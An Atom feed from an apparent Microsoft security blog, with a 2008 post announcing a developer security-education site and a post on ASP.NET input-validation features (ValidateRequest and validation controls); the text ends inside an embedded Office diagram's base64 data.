<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.msdn.com/utility/FeedStylesheets/atom.xsl" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><title type="html">%41%43%45%20%54%65%61%6d </title><subtitle type="html" /><id>http://blogs.msdn.com/hackers/atom.xml</id><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/default.aspx" /><link rel="self" type="application/atom+xml" href="http://blogs.msdn.com/hackers/atom.xml" /><generator uri="http://communityserver.org" version="2.1.61025.2">Community Server</generator><updated>2007-10-04T22:13:00Z</updated><entry><title>HelloSecureWorld.com Launched</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2008/01/31/hellosecureworld-com-launched.aspx" /><id>http://blogs.msdn.com/hackers/archive/2008/01/31/hellosecureworld-com-launched.aspx</id><published>2008-02-01T05:55:00Z</published><updated>2008-02-01T05:55:00Z</updated><content type="html">&lt;A id=ctl00_mainContentContainer_ctl05 title="New Link" onclick="javascript:Track('ctl00_mainContentContainer_ctl00|ctl00_mainContentContainer_ctl05',this);" href="http://www.microsoft.com/click/hellosecureworld/default.mspx" mce_href="http://www.microsoft.com/click/hellosecureworld/default.mspx"&gt;&lt;STRONG&gt;Discover the New HelloSecureWorld Security Resource &lt;/STRONG&gt;&lt;/A&gt;&lt;BR&gt;
&lt;P&gt;&lt;A href="http://www.hellosecureworld.com/" mce_href="http://www.hellosecureworld.com/"&gt;www.HelloSecureWorld.com&lt;/A&gt;&amp;nbsp;provides a powerful experience for promoting security awareness and education in the developer community by surfacing existing content as well as new.&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Well, If you&amp;nbsp;like learning while having FUN then&amp;nbsp;hellosecureworld.com is the resource for you. It brings&amp;nbsp;non traditional ways to&amp;nbsp;provide security awareness and education among the developer community&amp;nbsp;- Virtual lab environment,&amp;nbsp;hands on labs, tutorials, videos, play attack defender games&amp;nbsp;and much more.&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Happy Learning !!&lt;BR&gt;&lt;BR&gt;- Anmol Malhotra&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=7368431" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="security" scheme="http://blogs.msdn.com/hackers/archive/tags/security/default.aspx" /><category term="hellosecureworld" scheme="http://blogs.msdn.com/hackers/archive/tags/hellosecureworld/default.aspx" /><category term="hands on lab on security" scheme="http://blogs.msdn.com/hackers/archive/tags/hands+on+lab+on+security/default.aspx" /></entry><entry><title>First Line of Defense for Web Applications – Conclusion</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2008/01/06/first-line-of-defense-for-web-applications-conclusion.aspx" /><id>http://blogs.msdn.com/hackers/archive/2008/01/06/first-line-of-defense-for-web-applications-conclusion.aspx</id><published>2008-01-07T00:45:00Z</published><updated>2008-01-07T00:45:00Z</updated><content type="html">&lt;H1 style="MARGIN: 24pt 0in 0pt"&gt;&lt;A class="" name=_Toc168485140&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#365f91 size=5&gt;Platform features for validating input in .NET Framework&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/H1&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;There are many platform features which should be leveraged wherever possible. Some of the key validation features supported by .NET framework are given below:&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H2 style="MARGIN: 10pt 0in 0pt"&gt;&lt;A class="" name=_Toc168485141&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;ValidateRequest&lt;/FONT&gt;&lt;/SPAN&gt;&lt;FONT size=4&gt;&lt;FONT color=#4f81bd&gt;&lt;FONT face=Cambria&gt;&lt;SPAN lang=EN-IN&gt; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 8.5pt; FONT-FAMILY: 'Verdana','sans-serif'; mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/H2&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 7.5pt 3.75pt 0in; VERTICAL-ALIGN: top; LINE-HEIGHT: 140%"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;ASP.NET performs request validation against query-string and form variables as well as cookie values. By default, if the current &lt;/FONT&gt;&lt;A href="http://msdn2.microsoft.com/en-us/library/system.web.httpcontext.request.aspx"&gt;&lt;SPAN style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none"&gt;&lt;FONT face=Calibri size=3&gt;Request&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt; contains HTML-encoded elements or certain HTML characters (such as &amp;amp;#151;), the ASP.NET page framework raises an error.&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 1in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;This is an httphandler which will scan all requests coming in the application and will generate an error message if it detects malicious characters in the request that could initiate a cross site scripting attack. By default, this security feature is enabled in the Machine.config file. It is always advisable to not to disable this setting and verify that validateRequest is set to true as given below.&lt;BR style="mso-special-character: line-break"&gt;&lt;BR style="mso-special-character: line-break"&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;&amp;lt;system.web&amp;gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;&amp;lt;pages buffer="true" validateRequest="true" /&amp;gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;&amp;lt;/system.web&amp;gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 8.5pt; FONT-FAMILY: 'Verdana','sans-serif'; mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 8.5pt; FONT-FAMILY: 'Verdana','sans-serif'; mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;There are some limitations to this feature.&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.75in; TEXT-INDENT: -0.25in; mso-list: l2 level1 lfo3"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;If you need a page which contains a free format rich test entry fields designed to accept a range for HTML as input, then you might want to disable this feature. It should be understood that disabling validate request is dangerous, so make sure proper input validation is implemented in the application.&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.75in; TEXT-INDENT: -0.25in; mso-list: l2 level1 lfo3"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Security researchers have found a way to bypass this platform validation feature in the past multiple times, and they can do it again in the future. Relying “Only” on this mitigation can prove costly. &lt;/FONT&gt;&lt;A href="http://www.procheckup.com/Vulner_PR0703.php"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;Microsoft ASP.NET request filtering can be bypassed allowing XSS and HTML injection attacks&lt;/FONT&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 8.5pt; FONT-FAMILY: 'Verdana','sans-serif'; mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H2 style="MARGIN: 10pt 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;A class="" name=_Toc168485142&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;Validation controls&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/H2&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoCommentText style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt"&gt;&lt;FONT face=Calibri&gt;The validation features provided by the .NET framework are immensely powerful. Validation controls provide an easy-to-use mechanism for all common types of standard validation.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;For example, a developer can test for valid dates or values within a range and can create custom-written validation. In addition, validation controls allow you to customize how error information is displayed to the user. Using the right validation control in the right context can save your application from lot of attack vectors.&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="mso-ansi-language: EN-US; mso-no-proof: yes"&gt;&lt;?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /&gt;&lt;v:shapetype id=_x0000_t75 stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" o:spt="75" coordsize="21600,21600"&gt;&lt;v:stroke joinstyle="miter"&gt;&lt;/v:stroke&gt;&lt;v:formulas&gt;&lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 1 0"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum 0 0 @1"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @2 1 2"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelWidth"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelHeight"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 0 1"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @6 1 2"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelWidth"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @8 21600 0"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelHeight"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @10 21600 0"&gt;&lt;/v:f&gt;&lt;/v:formulas&gt;&lt;v:path o:connecttype="rect" gradientshapeok="t" o:extrusionok="f"&gt;&lt;/v:path&gt;&lt;o:lock aspectratio="t" v:ext="edit"&gt;&lt;/o:lock&gt;&lt;/v:shapetype&gt;&lt;v:shape id=Diagram_x0020_5 style="VISIBILITY: visible; WIDTH: 434.25pt; HEIGHT: 127.5pt" type="#_x0000_t75" o:spid="_x0000_i1025" o:gfxdata="UEsDBBQABgAIAAAAIQB6liIHRwEAAFUEAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbLSUy07DMBBF&amp;#13;&amp;#10;90j8g+UtatyyQAgl6aKFFQIkygcM9iS16he2U5q/x3UDC5AKVekmUhTNueeOrZTTjVZkjT5Iayo6&amp;#13;&amp;#10;KcaUoOFWSNNW9GVxN7qmJEQwApQ1WNEeA53W52floncYSJo2oaLLGN0NY4EvUUMorEOTvjTWa4jp&amp;#13;&amp;#10;1bfMAV9Bi+xyPL5i3JqIJo7ilkHr8jEJeCmQPIGPD6BTDuNKulcLXjAhofWgQxpT1odJkdCUzHaM&amp;#13;&amp;#10;rUZFwTklOcRUgq2N+CYwsk0jOQrLO51iC+HhPfXTqhjQswy+2HJZXc6xgU5FcrtJkru9eFThsMih&amp;#13;&amp;#10;b5Ems1ZYShf2JOzvNJj9sqddrcCGfv+2qE/t/fExnT2y/Dw+OWP+lvt1PRT0tovHZ/+4HvcZfKDN&amp;#13;&amp;#10;Wyf56jn2Ck9glLkHCgmIcAKVecJ+mrD8U6g/AAAA//8DAFBLAwQUAAYACAAAACEArTA/8cEAAAAy&amp;#13;&amp;#10;AQAACwAAAF9yZWxzLy5yZWxzhI/NCsIwEITvgu8Q9m7TehCRpr2I4FX0AdZk2wbbJGTj39ubi6Ag&amp;#13;&amp;#10;eJtl2G9m6vYxjeJGka13CqqiBEFOe2Ndr+B03C3WIDihMzh6RwqexNA281l9oBFTfuLBBhaZ4ljB&amp;#13;&amp;#10;kFLYSMl6oAm58IFcdjofJ0z5jL0MqC/Yk1yW5UrGTwY0X0yxNwri3lQgjs+Qk/+zfddZTVuvrxO5&amp;#13;&amp;#10;9CNCmoj3vCwjMfaUFOjRhrPHaN4Wv0VV5OYgm1p+LW1eAAAA//8DAFBLAwQUAAYACAAAACEAgntg&amp;#13;&amp;#10;Ub8QAADPXgAAHAAAAGNsaXBib2FyZC9kaWFncmFtcy9kYXRhMS54bWzkXFtvW8e5fT9A/wOh94nm&amp;#13;&amp;#10;fjHqFHPFCeCkRur25eCg2CZpmyhFKiSd2C3637uGEiluSVSHulAW8qJIjLW155tvvsta65s//unL&amp;#13;&amp;#10;2XTw63ixnMxnr0/Yd/RkMJ4N56PJ7OPrk7++K8SeDJarbjbqpvPZ+PXJ1/Hy5E/f/+F//jj6ePZq&amp;#13;&amp;#10;1K26H+ej8XSAp8yWr/DZ65NPq9X5q9PT5fDT+Kxbfjc/H8/wfz/MF2fdCj8uPp6OFt1veP7Z9JRT&amp;#13;&amp;#10;qk9Hk+7jojs7uXxId49HnHWT2cn363c6X71ZrjbfDs7q2/0wen3yL5Nc0k47UoyxRFrBSPA+E5U4&amp;#13;&amp;#10;M7ZEKYT/98lg9fUcqxzNh5vHLf4yXg2m83f4vD7n82L26mwyXMyX8w+r74bzs9P5hw+T4fjyP91i&amp;#13;&amp;#10;VRelTu3ptPs6/7w6/fRmslyxEzwidqv6hCl+Phn8sjz8ib98ngz/sVx9nY5Pl5Oz8+kYj/1lefnY&amp;#13;&amp;#10;i09OBsN7PHg4n84Xy9NuOBzPVuzvvD7l8rGXn50Mzj9NRwt4yMnphXGX528Xl9/C3N2r9/PR1/Un&amp;#13;&amp;#10;3avpcvWX9VvWz8/rl/Fs9LZbdD+/XQymXfWs8Yz88FN91On6X5xWb8Jj1v89v237WPJGOBWI0oUS&amp;#13;&amp;#10;aXgmIYpAOHWCq1wiTfbfvT1bv/C71yf/9278ZfX/93rtRX33xc2X7vCuP4+xHYvxCMdltfha11Hf&amp;#13;&amp;#10;H/+8fU0ye6aYU4QqVYjUmpOglCZaa5cEl4UKvXXJ827xbtHNltibL7O1R2dubLbSEacTPFpQRQJX&amp;#13;&amp;#10;noQgvdMl6iRDzyTPs3OWJ8+wO8R6lXHwvCL42ROeuI0qa6ktdu7y4C0n71/mKkvkwVavZFImIrE1&amp;#13;&amp;#10;JEgeSORSueRyzJT3NuPiQD29f5bJeDr6WzedIFjPF/fy06Rt4Flo+JiEo2VmCU6ig9tmqXkuyse4&amp;#13;&amp;#10;3cGbfhqddTY7S5LJHr9eJLGRCZIK48EHKYIrPdM8j5+KbA0L3pLoRawRRhMXCofH0qyFQZBhabvK&amp;#13;&amp;#10;m376QlaZbXGIlpEoHnAaZTIk2ASPLSxJFZJiifU246n99G23Wo0Xs8GP3Wr4CVXBvTw0a5dpYpL4&amp;#13;&amp;#10;6B2RKWsSTPSkZnbBOeOIjtu9u+mh0jARfSxEFKWI9DISS1MhIRUEUoMP2LfgoUgHJRXsGGI7DpJW&amp;#13;&amp;#10;CavEuSo22Vwy95pi7/ZG0heyShujk9wJUlg9fbIobAZOpOIuW6yZen3cTB/nZ3CZ8cNiaPBUcY00&amp;#13;&amp;#10;b4ypq4rw1Yx8aKWsQSd5Ya/27hYP5ShbGQ2EhoTyR+KLZ1rDRslbz7imGQ5+WfbWkvV5Yqg1MYhi&amp;#13;&amp;#10;KYmCBZzDWM+h9URT5azN0ftyVwyVL2OVxjKVLM4h96nmB++JK0gXWitkOCF0jrK3GU8dQ39GTT0e&amp;#13;&amp;#10;xE/j4T/uG0ELvDE41KIoQJEXBIOD5YIknZUJmqukBdZ0GVtu+qcqPFqH0k7xzGASI2tVyom32XA8&amp;#13;&amp;#10;O2LreyZ5Hv/M0XJtyjrHo5zx8FRrUbQlqqQTKZXgriqZmzn+hayy6Cxd1Ki4tRBERoOeIFFGiis+&amp;#13;&amp;#10;WOwNavDeZhzFPx8YP2kQQvBCWBYIgD6b2kVYorNiJjuts7krw+vAqWCO48h6HFlhEsFBjQRlefCo&amp;#13;&amp;#10;YplL2Pjnj59Wox72SHYU8QSdESPOW43XLB5lthFB3OWfL2SVXKHz006SiEaVyKAD8bziMRQdAjqD&amp;#13;&amp;#10;iJTY24yn9s+/LseLQRp/mMzGo3vVn+jymEaXgBTg0cnLhJolIPwJiu1LmdOU0P3tj55SeUc5/r3w&amp;#13;&amp;#10;SJu8ZOJoDkREg95RZV9q2nx279QovZz1SAqIIHjNxJAjrERwcUwAW4vcIcjvrT/Vy1gl99khi6NS&amp;#13;&amp;#10;U9aghkGpbY21RJkSjXYRBehxO/mL+nOynM8Gq/mgG/zaTT+P7+Wm3NmQY9EkU40WV1YQzQOk8Ckj&amp;#13;&amp;#10;7GhXir1K8jfTH4shGM4YUbJW5mj9ScimEOpr5jRecPottElMZOGQ6EksCW5aW/rAOQoSRB0TGAUs&amp;#13;&amp;#10;47ZuerOUeSGrxAojDTmTqNHNSwRQgDIARFGr6YhmwaE/7MWMpw6iP48/fp52i/zlfDFeVjph8LCM&amp;#13;&amp;#10;b5gyNERKWPHAJzw81it0QD467VNBnSmvcMOb20gB5yC7G2ICRUHrAYxabROhzFOUgYmjHe7Z53kq&amp;#13;&amp;#10;Uqmxc9QKogrDNqZSiJM2E0NdYEBzja14zN6Y+kJWWTgPSQKV0bF2TDJEJHsUADolrYLwFEVObzOe&amp;#13;&amp;#10;2lnj5+VqfvYwB9Xw0OhQSTIhUawFpMMQFNAZ45XNCTCpMNutu+mg6IVdlCCkqJY1z6AU8lQgz4hQ&amp;#13;&amp;#10;jEZbr4vo2eR5HJQC+Iy18A6SIZpG1DeW6YLgKlRQSPxmp/C+mTNeyCoD+EBbNKiYwBFskk5AZipT&amp;#13;&amp;#10;kQFyJ5FYEDvBBgFutxob1Ijnl8v58IfUzjTWX/qpOwPbWL+Cd60frHmzOFu9PqHbvzBevllTiX/r&amp;#13;&amp;#10;FsuLGnA02VBv3Wxy9uZXMLjdFMzir9MNzYVHTf45/l/wttPx8uL/jr90w9WacqtkW/1ju4+9YN4q&amp;#13;&amp;#10;cnTxJ45M7xVQQUBpAWgCh0VpEQ2xpSB4o2sDgcSF1ldhsL771jqVnq0fXNm/jSpc/9KF/cHins+X&amp;#13;&amp;#10;k9X45h70z9x+etJm7T1SLvHgEOA/tGZjfIkpW+qlSGU3Fjzy+9fY8mXn3d+8hzOA8fk4+wn0N0ji&amp;#13;&amp;#10;rWf9MPpSPevqg7Wrqa0x+z5R/WT46cfuy4UD0Y1zDT+9XYw/XPvw/efpdLzKs+79FKTo2h/XXPGl&amp;#13;&amp;#10;Y/Wf/MzeBqyKM4nKlccMQkvjtIcARgp7FRQL0bmC2mnTrj3ybo3Gyz275YfDMp9O5789fNte0m6w&amp;#13;&amp;#10;4JRXghPq6tlRlV7kgKs8vosogrRVV23lfzn7jWRzfcrF2V+ed8MHnHsWHXUuIDGqwKonVZob3G8C&amp;#13;&amp;#10;b+GYAWyad3qNuz2pjZp73LilFBo4sC0klEoHZoMaBskO9Cd0FtFKJcUOcPHI739g3NoNZL/PuBUy&amp;#13;&amp;#10;OvQETBeMtCTAeBUoaqBOta/n6CTAvgAnaotbB3vbfePWQdv2kuIW+DyKNttDkgQRjnQAG5xaA8tG&amp;#13;&amp;#10;G0dFSQEwZttuNFK7jxa3LLCQAl6cMBsAp2fwNSEkKB6oyJDJBar5FRL0X2JuG2D2uHErQ1Sk0SeB&amp;#13;&amp;#10;b0IvAjYVgKsPhQBHVUV7V3Jptv3B739g3IKcrlrwqrT/3dVbIRQlRFZQ64Erlda6SrtBvJcoh8Ii&amp;#13;&amp;#10;WiWvaI3H9rb7xq2Dtu0lxa3MTKSADwl62kr1QpQAwFsSYSIwGpeS38VH7875jYjyo8UtQJzg+hBu&amp;#13;&amp;#10;ma9assq/V/AatB5LIWaladihAe9+9zYa/3HjFhRvTqHLIFzZCvcB/nESwatANxGh6qlSs9accfD7&amp;#13;&amp;#10;Hxi3xO8+bvkgHSvgfkB8ABVyAagEeD2C6gvSMK+UM82dycG7dd+4ddC2vaS4BXGG5wmqPh+rFjWw&amp;#13;&amp;#10;DAlAAEYnTZbMgcKqiH5bvdUoBHm8uOU0k8qCVCxVbClsgGQIMZc5n0F4I3i55rjVRp8/btzyAOlN&amp;#13;&amp;#10;Rr0FjSEAfAGQ1IM/JMEFq2WWoO5B/bXZ/uD3PzBuyd993AIoYQr0IgSpHqgEAheyJFIlQ27H3glA&amp;#13;&amp;#10;rc1o9sG7dd+4ddC2fcNx6xIk3k4hYVxj9/udkaQ2bmSwXAzX8x6NOwH7r+eM/tVGutXH/3kxWsPC&amp;#13;&amp;#10;9Vc339dDV+dN1n+6kera0D/r32kjji4BdhhpxzBtOtArwzQpNgZbw7QpjJsM0yjr7RmmTSR7q2FQ&amp;#13;&amp;#10;40KMnlGrs0o5Vn3t+kcc92QS1ABxR4FTk9efP2B879J/2hQDV2ZqRJv2+Q/+evWD+w7M3br+Nrp7&amp;#13;&amp;#10;u+JGjGvrGI0W2rfi3RPTqF7oOUabFuBWw7Rpq7aGaRyG3BqmMfRsDINQvjeUNErleoZpE57dapi2&amp;#13;&amp;#10;Ibl7G6aRa9wYBtTbXsM0TgP2DNNGd9xqmDaZ070N0wiqbQwDsGWvYRr1XD3DtOEStxqmTUR7ZZim&amp;#13;&amp;#10;YYCrqNomzq6P32TivYYJbZronmFsk8L4VsOgyOcWZBcYIiAWlSGq8j9DhMfPGSJs6O16PcBu8mlc&amp;#13;&amp;#10;dl3runpobL33mekpko/DxFwS6OFy4RDsACgHT6nA8StM5tDsc9Z9rmx3/YdG3EZByjHX3zY/dnUw&amp;#13;&amp;#10;2gbutzvemKw3KwattPdgNI4D9g5GGwNz68Gg0GEmsA5ESFAQUksKIkhj3gJTQgVMi8Hgwv6D0SSN&amp;#13;&amp;#10;u4ofjb3dxkzXM85THIyI6V7IiHGXgk4ANQuEfSHFqmbHMJjJQL6K3rv+Rlxs6yaNCOox188w3mYD&amp;#13;&amp;#10;1GIsQLsg6yCp10CngsjApwr4DdqnN3YDQ9vg+NX+N2pXjrn+iMFGqBUNoUIgMRQwcuvZHMNMxYaA&amp;#13;&amp;#10;kt7RlTQWCtv9b2T+jrp+KnUIArieMSBUMGaFxAARCPSEXmhbJ+t2hKDXurLGZnS7/kYu7Zjrlyyh&amp;#13;&amp;#10;3fHgkUMGOMjAKDuWoEyv+mUM/ol4TcCz6/+NFfR2/Y1Ku2Ouv20s8N6JsTFCblYM/L8aa1M99nCc&amp;#13;&amp;#10;xinPXmJsg8pvTYzeK41pQ4QDkStLD3UU5LWOZINJdgqBJC37A2Njz7l1jEaIemOmoyTGppsvto5x&amp;#13;&amp;#10;6FFoTB37VrwLVzRe8dFzjLYLM251DCQGZgyYEEEhuwSVAxqUY4IFF+GABeXcWrW/lWgsFLeO0ahx&amp;#13;&amp;#10;22emp6iYMNLnwSxiRMniOOCuEUYQ1xjkzkXGgqqBxn7GeNstdoNmY3ewNUGjvPqYJogRJIQGBaY4&amp;#13;&amp;#10;pJ+g8MBRBNzgYTBWIFE1MMn6jNg1EzQuaWuCbzBvWJM1RpwYbsJZT/tmCvk7lFiY/wSxzCPnsV83&amp;#13;&amp;#10;P9AEB5aO1zuspzgIhVkZKTppoTBigtIZSuyMO1giL2h0oErBRFSvdbhmgkMPQqPWeHMQjmGC6HJK&amp;#13;&amp;#10;gGVIglq4yp8jcQ4tlMOobQnWwQ/6sfChJmiTLG9McB2ZewoviNzj0jLgSYCSqiqGQ0mJYWE00IZa&amp;#13;&amp;#10;Hg1uprjTBI0q7G0s+AYzQsl1uJoi/lEJyhbKawgaMQUD3UBBe0lxH9ydGeFQExxI7hzjICTMs2qP&amp;#13;&amp;#10;eoBaU3sJDAJZAS+g0qIqYALzxXd6waGxoFG/uzkI1+vqpzgI9YInUy8DxD0AQBIkkoFl6KkVRN+Y&amp;#13;&amp;#10;C5SQwPRlrQ+MBY0y4I0JrvM6T2ECSEGDcBT6EoVrEHBFCy5KUsKTlKRwWXrBRF8hd80EjUvaxoJv&amp;#13;&amp;#10;EE8oWgONBJTAMJ+EcFhvwFKYZMZNNRnTGdoCU7krKR5qggMhhWPEAszS8XpBJOYbcBMD7gzk0Kji&amp;#13;&amp;#10;XCRMvYucgbjV+4R29EbXvODQWNCoid0cBHWtx36Kg4D7PBHzJaSips4HIz9WpVudVFNO44YDjvuK&amp;#13;&amp;#10;HtMEjdLajQn0EUygkQYNJscJowxeUCzmXUxhGNLFFQe48VVjLPQuEzQuaRsLvkFs2VFcIyrRGieL&amp;#13;&amp;#10;LxJTsrgNDxf/CWXRJGPeTNg7D8KhJjiQdztGLLC2JFygAxQJemkcBAFk3VHUiWiffBasxHRnODw0&amp;#13;&amp;#10;FjTqTDcHwRzhIGBWx3j4OxR8EF3idlncWxZwEBTuDwiUmihtH0h7YDh0bXLVjQlwR3g9Q1vI8SnC&amp;#13;&amp;#10;IXDDFOsFuwoTPvAC3E2Hew8D4GaTDOdcYej6zljQtqRtLPgG4URcz+fRDWCMBhdMYOHomFEXVJVn&amp;#13;&amp;#10;cQa3lHqe78wIjbu6NcGBVOPjx4K1lHJXP/n+4yWc+NunOW5Bv7wwfHsN/ff/EQAAAP//AwBQSwME&amp;#13;&amp;#10;FAAGAAgAAAAhAPWBrIuOAQAASAQAAB8AAABjbGlwYm9hcmQvZHJhd2luZ3MvZHJhd2luZzEueG1s&amp;#13;&amp;#10;pFNRT8IwEH438T80fZcxBIILgwcRw4uSqD/g0patcW1nOxD+vddtZBVNNPCyXK+97777vtt0